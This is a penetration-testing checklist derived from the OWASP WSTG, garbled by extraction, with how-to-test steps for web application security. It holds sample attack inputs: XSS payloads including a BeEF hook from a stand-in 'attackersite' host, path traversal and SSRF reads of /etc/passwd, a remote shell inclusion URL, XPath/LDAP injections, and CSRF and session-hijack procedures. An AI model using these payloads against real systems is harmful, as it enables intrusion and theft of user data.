WSTG Checklist - (+how To Test)
WSTG Checklist - (+how To Test)
Information
Test Name Objectives
Gathering
Configuration and
Deployment
Test Name Objectives
Management
Testing
WSTG-CONF-07 Test HTTP Strict Transport Security - Review the HSTS header and its validity.
WSTG-CONF-09 Test File Permission - Review and identify any rogue file permissions.
Identity
Management Test Name Objectives
Testing
- Identify and document roles used by the
application.
WSTG-IDNT-01 Test Role Definitions - Attempt to switch, change, or access another role.
- Review the granularity of the roles and the needs
behind the permissions given.
Authentication
Test Name Objectives
Testing
Testing for Bypassing Authentication - Ensure that authentication is applied across all
WSTG-ATHN-04
Schema services that require it.
Testing for Weak Password Change or - Determine whether the password change and reset
WSTG-ATHN-09
Reset Functionalities functionality allows accounts to be compromised.
- Identify alternative authentication channels.
Testing for Weaker Authentication in
WSTG-ATHN-10 - Assess the security measures used and if any
Alternative Channel
bypasses exists on the alternative channels.
Authorization
Test Name Objectives
Testing
- Identify injection points that pertain to path
traversal.
WSTG-ATHZ-01 Testing Directory Traversal File Include
- Assess bypassing techniques and identify the
extent of path traversal.
WSTG-INPV-12 Testing for Command Injection - Identify and assess the command injection points.
WSTG-INPV-13 Testing for Buffer Overflow N/A
Client-side
Test Name Objectives
Testing
- Search engines often expose sensitive info such as network details, login
credentials, and private organizational data.
- Use as many: Different search engines, including Baidu, Bing, Google, and
DuckDuckGo, offer unique results due to their specific algorithms and indexing times.
- Use search operators: Advanced operators like site:, inurl:, and filetype: refine
search queries for more targeted findings. Not Started
- View Cached Content: The cache: operator helps retrieve previously indexed,
changed, or removed online content.
- Leverage Google Hacking/Dorking: A technique using search operators to locate
sensitive data, supported by resources like the Google Hacking Database.
- Perform banner grabbing using tools like telnet for HTTP or openssl for TLS/SSL
requests to analyze web server response headers.
- Send malformed requests to the web server and examine error responses or default
error pages for server identification. Not Started
- Use automated scanning tools like Netcraft, Nikto, and Nmap/Zenmap for more
robust web server fingerprinting, leveraging their extensive databases of known
responses
- Review the robots.txt file for disallowed paths or specific rules for web crawlers,
which could reveal hidden or sensitive content.
- Examine <META> tags within the HTML documents for directives or information that
could aid in mapping the application's structure or technology.
- Analyze sitemap.xml files to gain insights into the site's structure and the
Not Started
relationships between different pages or files.
- Check for a security.txt file, which might contain security-related policies and
contact information.
- Look for a humans.txt file to identify contributors to the site and possibly gather
information on job roles or technologies used.
- Check for web applications on non-standard URLs through methods like directory
browsing, search engine indexing (using site: operator), and probing likely URLs
(e.g., /webmail, /admin).
- Use a port scanner like Nmap with the -sV option to identify HTTP[S] services on
non-standard ports, scanning the full range of TCP ports.
Not Started
- For virtual host discovery, attempt DNS zone transfers using tools like nslookup,
host, or dig, and perform inverse (PTR) DNS record queries to identify associated DNS
names.
- Inspect HTTPS server certificates for Common Name (CN) and Subject Alternate
Name (SAN) to find associated hostnames using tools like OpenSSL.
- Review web page comments and metadata in HTML source code for debugging
information or sensitive data like SQL code, credentials, or internal IP addresses.
- Identify and examine JavaScript code and external .js files for hardcoded sensitive
information such as API keys, internal IP addresses, sensitive routes, or credentials.
- Check for source map files by appending the “.map” extension to JavaScript files,
Not Started
and analyze these files for sensitive information that could provide insights into the
application.
- Inspect redirect responses, especially those resulting from authentication or
authorization checks, for leaked content using browser developer tools or personal
proxies like ZAP, Burp, Fiddler, or Charles.
Status
- Review known server vulnerabilities, especially those that allow unauthorized file
uploads or replacements. Use automated tools for remote testing, but be aware of
false positives/negatives and limitations in detecting non-exposed components like
authentication backends or databases. Detailed internal information about software
versions, releases, and patches is crucial for effective vulnerability analysis. Not Started
- Examine administrative tools used in the web server infrastructure, such as web-
based interfaces, configuration files, or operating-system GUI tools. Ensure the
security of these tools, particularly regarding access control mechanisms, and change
default credentials to prevent unauthorized access.
- Examine sample and known files and directories provided by default in web and
application servers, as they may be vulnerable. Use CGI scanners for a quick check,
but a full review of the server's contents is recommended to ensure that these files are
not related to the application itself.
- Perform a comment review to check for any sensitive information leaked through
inline HTML comments or commented-out source code. This can be done through a
thorough analysis of the web server's static and dynamic content and file searches.
- Assess system configuration using tools like CIS-CAT Lite, Microsoft’s Attack
Surface Analyzer, and NIST’s National Checklist Program to ensure conformance to
configuration baselines or benchmarks. Not Started
- Conduct a configuration review of the web server or application server. This
includes ensuring only necessary server modules are enabled, custom handling of
server errors, running the server with minimized privileges, proper logging of access
and errors, and configuring the server to handle overloads and prevent Denial of
Service attacks.
- Evaluate logging mechanisms to detect flaws in applications and sustained attacks.
Ensure logs do not contain sensitive information, are stored securely, are not
susceptible to causing Denial of Service conditions, are rotated and kept for
appropriate durations, are reviewed effectively, and that logged data is validated.
- Submit requests with various file extensions and check how they are handled on
a per-directory basis, especially in directories allowing script execution. Use scanning
tools for directory identification and mirror the website structure to map the web
directories.
- As an example, accessing a file like connection.inc can reveal sensitive
information such as database credentials, indicating the presence of a MySQL DBMS
backend.
- Certain file extensions, like .asa, .inc, and .config, should never be served by the
web server as they may contain sensitive information. Other extensions
like .zip, .java, .txt, .pdf, and office document formats should be carefully checked to Not Started
ensure they are intended to be served and do not contain sensitive data.
- Employ a mix of techniques, including vulnerability scanners, spidering and
mirroring tools, manual inspection, and search engine queries, to identify files with
specific extensions. This approach helps overcome limitations in automatic spidering
and addresses security issues related to "forgotten" files.
- Be aware of legacy file handling mechanisms, such as Windows 8.3, which can
sometimes bypass file upload filters, leading to potential security vulnerabilities.
Examples include the processing of file.phtml as PHP code and the expansion of
SHELL~1.PHP by the OS shell followed by processing by the PHP ISAPI handler.
- Inference from Naming Scheme: Enumerate application's pages and functions,
inferring unreferenced pages from the naming scheme.
- Clues in Published Content: Review source code for hidden clues like comments,
disabled forms, and JavaScript links.
- Blind Guessing: Use tools like netcat with common filenames, focusing on server
responses.
- Server Vulnerabilities/Misconfigurations: Look for directory listings and specific Not Started
server vulnerabilities.
- Public Information: Search engines and caches for unlinked but present pages.
- Filename Filter Bypass: Exploit OS filename expansion features and parsing
differences.
- Gray-Box Testing: Manually and scriptedly inspect directories for backup or old files
with predictable extensions.
- Use directory and file enumeration techniques, such as guessing paths like
/admin or /administrator, and employ tools for brute-forcing server contents. Check for
filenames of administrative pages.
- Examine source code for comments and links that might reveal links to administrator
functionality.
- Review server and application documentation for default configurations and
access information. Consult default password lists if administrative interface is found.
- Look for publicly available information about common administrative interfaces,
Not Started
like those in WordPress.
- Check for administrative interfaces on alternative server ports, such as Apache
Tomcat’s interface often seen on port 8080.
- Investigate potential parameter tampering, like GET/POST parameters or cookies
that might enable administrator functionality.
- Verify server/application hardening, check for non-default
credentials/configurations, and review source code for clear user/admin role
separation.
- Identify supported HTTP methods using an OPTIONS request or by directly
requesting each method and observing server responses.
- Test the PUT and DELETE methods for potential file creation or deletion on the
server, noting their different effects based on server configuration.
- Check for the TRACE method, which echoes back request contents, noting its
deprecation but importance for server hardening.
Not Started
- Examine the CONNECT method that could allow traffic proxying through the server.
- Investigate the PATCH method for object modification instructions.
- Test for access control bypass using different HTTP methods like HEAD or custom
methods.
- Test for HTTP method overriding using headers like X-HTTP-Method, X-HTTP-
Method-Override, or X-Method-Override.
- Confirm the presence of the HSTS header by inspecting server responses via an
intercepting proxy.
Not Started
- Use curl to check for the HSTS header, e.g., curl -s -D- https://example.org | grep -i
strict-transport-security.
- Use the ls command in Linux to check file permissions. Alternatively, namei can
recursively list file permissions ($ namei -l /PathToCheck/).
- Focus on testing permissions of web files/directories, configuration files, sensitive Not Started
files (e.g., encrypted data, passwords, keys), log files, executables, database files,
temporary files, and upload directories.
- Enumerate victim's DNS servers and resource records using methods like DNS
enumeration with common subdomains, brute force, or OSINT data sources, and
check for DNS server response messages like NXDOMAIN, SERVFAIL, REFUSED, or
no servers could be reached.
- Perform basic DNS enumeration with tools like dnsrecon to identify inactive or
Not Started
unused DNS records, especially A and CNAME records.
- For A records, perform a whois lookup to identify the service provider and check for
a "404 - File not found" response which indicates vulnerability.
- Test NS record subdomain takeover by identifying all nameservers for the domain
and checking if any are associated with domains available for purchase.
- URL Identification: Determine the URL for accessing the cloud storage service. For
Amazon S3, identify the bucket URL, which can be in virtual hosted style or path-style.
- Read Unauthorized Data: Use curl -X GET to test reading an object from the storage
service. Example: curl -X GET https://<cloud-storage-service>/<object>.
- Upload Arbitrary File: Test file upload capability with curl -X PUT. For Windows, use
double quotes. Example: curl -X PUT -d 'test' "https://<cloud-storage-service>/test.txt".
- AWS CLI Testing: Apart from curl, AWS CLI can be used for listing (aws s3 ls Not Started
s3://<bucket-name>), uploading (aws s3 cp arbitrary-file s3://bucket-name/path-to-
save), and removing objects (aws s3 rm s3://bucket-name/object-to-remove) in an S3
bucket.
- Analyzing Test Results: Success or failure in performing these actions, such as
unauthorized read or upload, indicates the configuration state of the S3 bucket,
revealing potential misconfigurations.
- In black-box testing, replace existing application paths with non-existent ones and
observe the behavior and status codes. For instance, modify a known path like
https://example.com/user/dashboard to https://example.com/user/dashboard/non.js to
check for Web Cache Deception vulnerabilities. Not Started
- In white-box testing, examine the application's routing configuration, often involving
regular expressions. Look for incorrect patterns that could lead to vulnerabilities, such
as misconfigured expressions in Django's urls.py.
Status
- Identify application roles for testing through application documentation,
developer/administrator guidance, comments within the application, and fuzzing
possible roles via cookie/account variables or hidden directories/files.
- Test and validate access to identified roles. Be aware that the mere existence of
roles does not necessarily indicate a vulnerability. Not Started
- Review and understand the permissions assigned to each role to ensure
appropriate access levels, such as preventing support engineers from performing
administrative functions or restricting administrators' powers with maker-checker
principles or multi-factor authentication (MFA).
- Verify user registration aligns with business and security needs by checking if:
- Anyone can register for access.
- Registrations are vetted manually or automatically.
- Multiple registrations are allowed per identity.
- Users can register for different roles or permissions.
Not Started
- Required proof of identity for successful registration.
- Registered identities are verified.
- Validate the registration process by assessing:
- The ease of forging or faking identity information.
- Potential manipulation in the exchange of identity information during registration.
- Determine which roles can provision users and the types of accounts they can
create. Investigate the following:
- The presence of verification, vetting, and authorization for provisioning and de-
provisioning requests.
- Whether administrators can provision other administrators or only users.
Not Started
- If administrators or users can provision accounts with higher privileges than their
own.
- The ability of administrators or users to de-provision themselves.
- The management of files or resources owned by de-provisioned users, including
whether they are deleted or if access is transferred.
- To test for user enumeration, record server responses for:
- Valid user ID and password.
- Valid user ID with wrong password.
- Invalid user ID with a password.
- Analyze differences in error messages and HTTP responses for these scenarios.
- Enumerate users through methods like analyzing error codes on login pages, URL
Not Started
redirections, URI probing, web page titles, recovery facility messages, friendly 404
error messages, and response times.
- Test staff impersonation by ensuring reserved usernames (e.g., admin) can't be
used in registration or profile editing.
- For gray-box testing, confirm uniformity in authentication error messages across all
failed attempts.
- Identify the software in use and search for its default passwords using methods like
online searches, reviewing manuals, checking common default password databases,
and inspecting application source code or hardware.
- Test for organization-specific default passwords, which are often predictable and
can be identified through guessing or brute-forcing, especially in grey-box or white-box Not Started
testing scenarios.
- Check for application-generated default passwords by creating multiple accounts
and comparing the passwords, looking for patterns like static strings, hashed account
details, or weak pseudo-random number generation.
- Attempt login with incorrect password incrementally (3, 4, 5 times) to check at
which point lockout triggers.
- After lockout, try correct password at different intervals (5, 10, 15 minutes) to
determine automatic unlock time.
- Assess CAPTCHA for weaknesses like easily solvable challenges, server-side
validation issues, and bypass possibilities including cookie manipulation and direct Not Started
server-side requests.
- Apply testing process to all application functionalities requiring lockout mechanisms
.
- Initiate unlock mechanism; inspect for vulnerabilities, especially in mechanisms like
secret questions or one-time email links.
- Examine if credentials are stored in encoded form in browser storage; follow web
storage testing and session analysis scenarios.
- Test for vulnerabilities to Clickjacking and CSRF attacks due to automatic
Not Started
credential injection.
- Analyze token lifetimes to ensure they expire appropriately and don't pose a risk if
stolen.
- Enter sensitive information, log out, and use the browser's Back button to check if
sensitive data can be accessed unauthenticated.
- Ensure pages are delivered over HTTPS and use Cache-Control: must-revalidate
to prevent sensitive data storage in browser history.
- Use a proxy like ZAP to check server responses for Cache-Control: no-cache, no-
store, Expires: 0, Pragma: no-cache directives on pages with sensitive information. Not Started
- Verify browser cache handling on different browsers and operating systems;
inspect cache directories for stored sensitive information.
- Test mobile browser cache handling separately, using tools like Chrome’s Device
Mode or Firefox’s Responsive Design Mode, and personal proxies to simulate mobile
User-Agent strings.
- Check permitted and forbidden characters for passwords, and requirements for
character sets like upper/lowercase letters, digits, and symbols.
- Determine the frequency of password changes and if rapid consecutive changes
can bypass password history requirements.
- Assess if the application enforces regular password changes and complies with
standards like PCI DSS.
-Investigate how often a user can reuse a password and if the application tracks Not Started
password history.
- Evaluate how different consecutive passwords must be.
- Verify if the application prevents use of username or personal information in
passwords.
- Examine the minimum and maximum password length settings for
appropriateness.
Status
- Enumerate input vectors: Identify all parts of the application accepting user content,
including HTTP GET and POST queries, file uploads, and HTML forms.
- Analyze input validation functions: Test for validation checkpoint failures using paths
like ../../../../etc/passwd or external content links, considering system knowledge and
file locations.
- Consider different path separators: Be aware of OS-specific path separators (Unix-
like /, Windows \ or /, macOS :) and test with various encodings and directory traversal
payloads (see PayloadsAllTheThings). Not Started
- Windows-specific testing: For shell and API calls, test with path alterations (angle
brackets, double quotes, extraneous markers). Use UNC filepaths and NT device
namespace for SMB shares and device access.
- Gray-Box Testing: Utilize source code access to search for inclusion functions and
filesystem operations, employing tools like grep and regex patterns for PHP,
JSP/Servlet, and ASP. Insert crafted path traversal strings into database-stored values
and parameters.
- Test horizontal authorization: Generate two users with identical privileges, keep
distinct sessions active, alter session identifiers and parameters in requests, and check
if responses contain private data or indicate operation success on another user's
resources.
- Test administrative function access: Execute administrative function requests as a
non-admin user and observe whether the operation succeeds or the user is created
with privileges.
- Test role-based resource access: As a normal user, attempt to access, modify, or Not Started
delete resources assigned to different roles, such as files in a restricted area.
- Test special header handling: Send requests with X-Original-URL or X-Rewrite-
URL headers pointing to non-existing resources and assess response; if supported,
attempt access control bypass using these headers.
- Test proxy/forwarding headers for access: Use headers like X-Forwarded-For, X-
Remote-IP, adding local network addresses or port elements, to bypass restrictions like
web application firewalls.
- Record and test database functions (create, receive, delete info) for unauthorized
role/privilege access.
- Modify groupID and orderID parameters to test for unauthorized access to
privileged data.
- Change hidden field values (e.g., profile to SysAdmin) in server responses to test
for privilege escalation.
- Test for privilege escalation by altering parameter values in server responses (e.g.,
Not Started
changing PVValid value).
- Modify X-Forwarded-For HTTP header to test IP-based access control and login
attempt limits.
- For vertical authorization, register different role users and interchange session
identifiers to test access to higher role resources.
- Test for authorization bypass by accessing or operating higher role functions
through URL traversal and weak session IDs.
- Identify locations in the application where user input is used to directly access
database rows, files, or pages.
- Change parameter values used for object references to check if objects belonging to
other users can be accessed.
- Use multiple user accounts to cover different owned objects (like private messages,
purchase info) and varying privileges (e.g., admin users). Not Started
- Test scenarios including retrieving database records, performing system operations
(e.g., changing passwords), accessing file resources, and using parameters to access
different application functionalities.
- If object references are split between parameters, modify testing approach
accordingly.
- Ensure cookies use the Secure attribute, which requires transmission over HTTPS,
preventing leakage in unencrypted requests.
- Verify HttpOnly attribute usage to restrict cookie access via client-side scripts,
reducing XSS attack vectors.
- Check Domain attribute to ensure cookies are sent only to appropriate domain or
subdomains, avoiding unintended access.
- Confirm Path attribute correctly scopes cookie access to specified URL paths,
preventing misuse across multiple applications on the same server.
- Validate Expires attribute for appropriate persistent cookie lifespan and removal Not Started
after expiration.
- Test SameSite attribute settings (Strict, Lax, None) for cross-site request handling,
with Strict providing highest restriction.
- Review cookies for Host and Secure prefixes, ensuring they meet specific
conditions like Secure attribute presence and path restrictions.
- Apply best practices by combining attributes and prefixes effectively, e.g., Set-
Cookie: __Host-SID=<session token>; path=/; Secure; HttpOnly; SameSite=Strict for
maximum security.
- Make a request to the target site and observe the session identifier set in the
response cookie.
- Authenticate to the application and check if a new cookie is issued post-
authentication.
- If no new cookie is issued, test for session hijacking possibility by sending the old
session identifier to another user and observing if privileges are assigned to this
cookie.
- For testing with forced cookies, follow these steps: Not Started
- Access the login page and save a snapshot of the cookie jar, excluding __Host-
or __Secure- prefixed cookies.
- Log in as the victim, then revert to the saved cookie jar.
- Trigger a secure function and observe if the operation succeeds with the old
cookie.
- Log in as the attacker, replicate the cookie jar setup, and try accessing the
victim's account.
- Test for encryption and reuse of session tokens vulnerabilities by ensuring TLS
encryption is used and session IDs are protected during transit. Replace https:// with
http:// and modify form posts to check for secure and non-secure segregation.
- Ensure different session IDs are used when switching from secure to non-secure
site elements.
- Test for proxies and caching vulnerabilities: Session IDs should never be sent over
unencrypted transport or cached. Check that encrypted communications are default
and enforced, and appropriate cache-control directives are in place. Not Started
- Test for GET & POST vulnerabilities: Avoid using GET requests for Session IDs due
to exposure risks. Ensure server-side scripts do not accept session data sent via GET
when it should be POST.
- Check how Session IDs are transferred (GET, POST, hidden fields), ensure they
are always sent over encrypted transport, and verify if the application can be
manipulated to send Session IDs unencrypted. Confirm appropriate cache-control
directives are applied and consistently present.
- Audit the application's session management to identify if it depends solely on
client-side values like cookies and HTTP authentication credentials. Such reliance
indicates vulnerability to CSRF attacks.
- Test for CSRF vulnerabilities in resources accessible via HTTP GET requests, as
these are easily exploitable.
- For POST requests, create and host a malicious HTML page designed to submit
Not Started
unauthorized requests via a victim's browser. This page should contain a self-
submitting form with hidden inputs to simulate a CSRF attack.
- For web applications using JSON for server communication, exploit CSRF by using
a self-submitting form with JSON payloads. Change the form's encoding type to
text/plain to ensure proper payload delivery.
- Remediation measures can be found in the OWASP CSRF Prevention Cheat Sheet.
- Log Out User Interface Testing: Verify the logout button's visibility and accessibility
on each web page. Key aspects include:
- Presence of a logout button on all pages.
- Easy identification and access to the logout button.
- Immediate visibility of the logout button without the need to scroll.
- Optimal placement in a fixed area of the browser viewport.
- Server-Side Session Termination Testing: Store session cookie values, invoke
logout, and observe application behavior, especially regarding session cookies. Test
for any vulnerabilities by trying to access authenticated pages after logout and by
Not Started
restoring old session cookies.
- Session Timeout Testing: Determine session timeout by requesting an
authenticated page with increasing delays. Assess how the application handles
timeout-triggered logout, balancing security and usability based on application context
(e.g., short timeout for banking apps, longer for forums or wikis).
- Testing in Single Sign-On Environments: Perform logout tests in applications
integrated with Single Sign-On (SSO) systems. Check if logging out of the application
or the SSO system leads to global session termination, requiring re-authentication to
access the application.
- Black-Box Testing for Session Timeout:
- Verify the existence of a session timeout by logging in and observing if the session
logs out after a period of inactivity.
- Determine whether the timeout is enforced client-side or server-side. If session
cookies do not store time data, it's likely server-enforced.
- Test if modifying the cookie's expiration date affects session longevity.
- Gray-Box Testing for Session Timeout: Not Started
- Ensure the logout function destroys or renders session tokens unusable.
- Check if the server properly invalidates session states to prevent replay of
destroyed session identifiers.
- Confirm that the session timeout is enforced by the server, ideally with server-side
session invalidation methods like HttpSession.invalidate() in Java or
Session.abandon() in .NET.
- Test session hijacking on sites without full HSTS by using two accounts (victim and
attacker).
- Victim logs in, deletes non-'Secure' cookies, and saves the cookie jar.
Not Started
- Attempt a secure function as the victim.
- If successful, replicate this with the attacker account using the victim's saved cookies.
- Successful execution by the attacker indicates vulnerability to session hijacking.
- Use in-browser tools or proxies to identify all user-defined variables and hidden
inputs on web pages.
- Employ web application fuzzers or manual input of crafted data (e.g.,
<script>alert(123)</script>) to test each input vector for XSS vulnerabilities.
- Analyze results of test inputs for unencoded, unfiltered special characters in HTML
(e.g., >, <, &, ', ") or JavaScript (e.g., \n, \r, ', ", \, \uXXXX). Not Started
- Test for bypassing XSS filters using variations in syntax, encoding, and techniques
like HTTP Parameter Pollution, and evaluate effectiveness of web application's input
sanitization.
- In gray-box testing, utilize partial knowledge of the application to focus on user
input, validation controls, and rendering of input back to the user.
- Identify all user input storage points in the application (e.g., user profiles, shopping
carts, file managers, application settings, forums, blogs, logs) and note how they are
displayed.
- Analyze HTML and JavaScript to understand how stored input is used in the context
of the page, including out-of-band channels and areas accessible by administrators.
- Test for stored XSS by injecting basic examples (like
aaa@aa.com"><script>alert(document.cookie)</script>) using both HTTP GET and
Not Started
POST requests, with and without JavaScript enabled.
- Use advanced JavaScript frameworks like BeEF for exploiting stored XSS; inject a
JavaScript hook (e.g., aaa@aa.com"><script src=http://attackersite/hook.js></script>)
and control the user's browser via the BeEF console.
- Check file upload functionalities for vulnerabilities by testing if HTML content or
arbitrary MIME types can be uploaded, and consider browser-specific MIME handling
differences.
N/A Not Started
- Identify forms or actions allowing user input. For GET requests, modify query
strings in the browser; for POST, use an intercepting proxy.
- Test by appending the same parameter with different values to GET or POST data,
then analyze the response for which values are parsed.
- Perform three-step analysis: submit a standard HTTP request and record the
Not Started
response; replace parameter value with a tampered one and record; combine both
requests, submit, and compare responses.
- For client-side HPP, identify forms/actions that reflect user input. Append
%26HPP_TEST to each HTTP parameter and check for url-decoded occurrences in
the response.
- Identify when the application interacts with a database (e.g., authentication forms,
search engines, e-commerce product listings).
- List and test all input fields, including hidden POST fields, HTTP headers, and
cookies, to interfere with SQL queries.
- Add a single quote ' or a semicolon ; to input fields to generate errors, indicating Not Started
SQL injection vulnerabilities.
- Use comment delimiters and SQL keywords like AND/OR to modify queries.
- Monitor web server responses and HTML/JavaScript source code for error
messages indicating SQL injection vulnerabilities.
- Replace values in LDAP search filters (e.g., user=John to user=*) to test for
unfiltered input leading to LDAP injection.
- Insert LDAP metacharacters (e.g., (, |, &, *) in parameters to check for application
errors.
Not Started
- Test login processes using LDAP for user authentication; inject always true LDAP
queries to bypass authentication.
- For example, manipulate LDAP user/password filters to gain logged-in status as the
first user in the LDAP tree.
- Insert XML metacharacters (', ", >, <, <!--/-->, &, <![CDATA[ / ]]>) into user inputs to
test for malformed XML documents.
- Check for exceptions during XML parsing when metacharacters are part of
attribute values in tags.
- Test with open or closed angular parentheses in user input to validate XML
Not Started
document formation.
- Use ampersand (&) without proper encoding (&) to identify undefined entities in
XML.
- Inject CDATA section delimiters to evaluate if XML document processes them
correctly or includes them in HTML output, potentially leading to XSS vulnerabilities.
- Inject SSI directives as user input to test for vulnerable SSI implementation.
- Determine if the web server supports SSI by identifying the server type or checking
for .shtml extensions.
- Identify all user input vectors, including pages with user input, headers, and
Not Started
cookies.
- Test input validation by attempting to inject characters used in SSI directives.
- Check if injected SSI directives like <!--#echo var="VAR"--> or <!--#include
virtual="FILENAME"--> are executed by the server.
- Test for XPath Injection by inserting a single quote (') in input fields to create syntax
errors in XPath queries.
- Check if the application improperly filters user input, allowing XPath code injection
that alters query results.
Not Started
- Use values like ' or '1' = '1 in username and password fields to create queries that
always evaluate to true.
- If the application doesn't provide error messages, use Blind XPath Injection
techniques to reconstruct the XML data structure.
- Inject malicious code using query strings in URLs, e.g., appending commands to file
inclusion parameters.
- Examine ASP code for user input used in execution functions, checking if commands
can be entered.
- Review the application's handling of user input in execution functions for code
Not Started
injection vulnerabilities.
- Focus on input validation practices to detect any weak points allowing code
injection.
- Use automated scanning tools and manual testing methods to identify potential
injection points.
- Use static analysis tools for C/C++ (Flawfinder), Java (FindSecurityBugs), and PHP
(String formatter Analyzer) to find format string vulnerabilities.
- Manually inspect code for format string vulnerabilities, especially in cases where
static analysis might miss complex code-generated format strings.
- Inject conversion specifiers in string inputs during unit or system tests, and observe
Not Started
for crashes or unexpected outputs.
- Perform manual injection tests using web browsers or API debugging tools with
URLs containing encoded conversion specifiers, e.g., %25s%25s%25s%25n.
- Utilize fuzzing tools like wfuzz, with a list of inputs including normal and malicious
strings, to automate injection testing.
- Verify file upload content types and URLs; use files that exploit local workstation
components upon viewing or downloading.
- Inject JavaScript code in vulnerable fields, like in a bulletin board, to capture
cookies and impersonate users.
- Test for SQL Injection vulnerabilities and insert XSS attacks in SQL-injectable fields
Not Started
to change database values without proper filtering.
- Utilize misconfigured servers to upload active components, like WAR files, and
deploy applications that trusted site users can access.
- Leverage any vulnerabilities to change web page contents at the server, planting
incubated attacks.
- Supply a different domain in the Host header field and check if the web server
processes this input, potentially causing a redirect or other unexpected behavior.
- Bypass Host header injection mitigation by using the X-Forwarded-Host header.
- Exploit web cache poisoning by manipulating the web cache with a malicious Host
header. Not Started
- Test for password reset poisoning by modifying the Host header in password reset
requests.
- Access private virtual hosts by manipulating the Host header, especially in split-
horizon DNS setups.
- Test local and remote file inclusion by making the server load or save potentially
malicious content. Example: GET
https://example.com/page?page=https://malicioussite.com/shell.php.
- Access restricted pages via the loopback interface, like GET
https://example.com/page?page=http://localhost/admin.
- Test for SSRF in PDF generators, trying to inject HTML content. Not Started
- Fetch local files, for instance, GET
https://example.com/page?page=file:///etc/passwd.
- Test SSRF in various HTTP methods and inject into headers and cookies.
- Bypass filters blocking localhost or 127.0.0.1 using alternative IP representations,
string obfuscation, or URL manipulation techniques.
- Enumerate application parts accepting user content, looking for create/update
operations and input patterns like user[name]. Test non-existent attributes and analyze
error responses.
- Identify sensitive fields by analyzing HTML, JavaScript, API responses, and
differences in requests made by users of varying privilege levels. Not Started
- Check the impact by analyzing how test inputs affect the application, focusing on
changes that could lead to security issues like privilege escalation.
- In gray-box testing, leverage source code and DB schema access to pinpoint
vulnerable handlers and sensitive fields, ensuring controls are in place.
Status
- Trigger web server error messages by searching for non-existent files (404s),
requesting existing folders (403s, blank page, directory listing), and sending malformed
HTTP requests (e.g., large paths, broken headers).
- For applications, identify input points, analyze expected input types, and fuzz inputs
to elicit various error messages like stack traces, memory dumps, or mishandled
Not Started
exceptions.
- Refine fuzzing based on the service generating the error message to extract more
detailed information or error specifics.
- Stay vigilant for errors disguised as successful responses, hidden in 302 redirects,
or represented in a custom format.
Status
- Review server configurations for legacy TLS protocols and ciphers with known
weaknesses, like SSLv2, SSLv3, TLSv1.0, and weak DHE keys.
- Check digital certificates for minimum 2048-bit key strength, use of SHA-256 or
stronger signature algorithms, and validity including trusted CA and correct SAN.
- Identify implementation vulnerabilities in TLS, focusing on known issues in popular
libraries like OpenSSL. Not Started
- Assess application vulnerabilities related to TLS, including checking for mixed
active content, proper redirection from HTTP to HTTPS, and correct usage of security
headers.
- Perform automated testing using tools like Nmap, OWASP O-Saft, and SSL Labs,
and manual testing with tools like openssl s_client for specific protocols and ciphers.
- Identify potential padding oracle input points by looking for encrypted data,
typically base64 encoded, with lengths multiple of common cipher block sizes (8 or 16
bytes).
- Verify application response to bitwise tampering of encrypted values. This involves
decoding the base64 value, modifying bits, re-encoding, and observing the behavior. Not Started
- Check for three possible states after decryption: correct decryption, garbled data
causing errors, or decryption failure due to padding errors.
- In gray-box testing, ensure encrypted data is decrypted securely (using
mechanisms like HMAC, GCM, CCM) and all errors are handled uniformly.
- Capture traffic between a client and web server to identify if sensitive data is
transmitted over HTTP instead of HTTPS.
- Test for basic authentication over HTTP using tools like curl to check if credentials
are sent in clear text.
- Check if forms transmit user credentials or session IDs over HTTP. Not Started
- Ensure password reset, change password, or other account manipulation features
use HTTPS.
- Use grep to search for hardcoded sensitive information like passwords or encryption
keys in source code or logs.
- Review project documentation and use exploratory testing to find data entry points
or hand-off points between systems.
- Insert logically invalid data into the application/system to test data validation.
- Conduct frontend GUI Functional Valid testing to ensure only valid values are
accepted. Not Started
- Use an intercepting proxy to observe HTTP POST/GET requests, focusing on
potential injection or tamper points.
- Test fields with logically invalid data, like incorrect social security numbers or
identifiers, to verify server-side validation.
- Capture HTTP traffic with a proxy to find hidden fields, then compare these fields
with the GUI application. Manipulate these values through the proxy to test if you can
bypass business logic.
- Look for non-editable areas in the application where information can be inserted.
Not Started
Test these fields by submitting different data values to circumvent business logic.
- Identify application components like logs or databases that could be impacted.
Attempt to read, edit, or remove information in these components to test integrity
checks.
- Start a transaction and proceed past points that trigger credits or points to a user's
account. Then cancel or alter the transaction to test if the points or credits are correctly
adjusted.
Not Started
- On content management or bulletin board systems, enter valid initial text or values,
then attempt to append, edit, or remove data to leave it in an invalid state, ensuring the
system prevents saving incorrect information.
- Review the application's logical requirements to understand the expected file types.
- Prepare a set of files not approved for upload, such as JSP, EXE, or HTML files
containing scripts.
- Use the file submission or upload mechanism in the application to attempt
uploading these non-approved files.
- Verify that the application properly prevents the upload of unapproved file types.
- Check if the application relies only on client-side JavaScript for file type checks. Not Started
- Assess if the application checks file types by “Content-Type” in HTTP requests or
by file extension.
- Test if uploaded files can be accessed directly by a specified URL or include
code/script injection.
- Check for file path validation, especially for compressed files that might extract to
an unintended path.
- Ensure only trusted file types can be uploaded.
- Protect against web shells by uploading with a random name, password protection,
and IP restrictions.
- Bypass filters using techniques like changing Content-Type, file extensions, and
trailing characters.
Not Started
- Validate file contents, including scanning for malware and checking for harmful
content based on file type.
- Test for archive directory traversal and Zip bomb attacks.
- Assess XML file vulnerabilities like XXE and denial of service attacks.
- Review source code for APIs/methods related to file handling.
Status
- Crawl the website to identify all instances of JavaScript execution and where user
input is accepted. This helps in understanding the code being executed dynamically by
the server.
- Identify two main forms of user input: input written to the page by the server and
input obtained from client-side JavaScript objects.
- Analyze how input is handled, focusing on whether it undergoes server-side
filtering or browser-side encoding.
Not Started
- Recognize that JavaScript can be executed outside <script> blocks, like in event
handlers or CSS blocks with expression attributes.
- Note the limitations of automated testing in detecting DOM-based XSS,
emphasizing the need for manual testing. This includes examining areas where
parameters are referred to that could be exploited by an attacker, where code is
dynamically written to the page, or where the DOM is modified or scripts are directly
executed.
- The primary objective is to identify sinks and possible JavaScript injection points.
- Examine the application's JavaScript code for any areas where user-supplied input
is directly used or executed.
Not Started
- Test cases like the provided script example, where the location.hash source is
controlled by the attacker, can be exploited to inject JavaScript into the message value.
This could potentially allow an attacker to take control of the user's browser.
- Identify HTML injection points and assess the severity of the injected content. This
involves pinpointing areas in the application where HTML code can be inserted by an
external user and determining the impact of such injections.
- For a comprehensive approach: examine input fields, URL parameters, and any Not Started
other data entry points that could be manipulated to inject HTML. The severity
assessment would consider the potential impact, such as unauthorized access, data
leakage, or client-side script execution.
- Analyze the code to determine if users can inject content into the CSS context. Pay
special attention to how the website processes inputs to generate CSS rules.
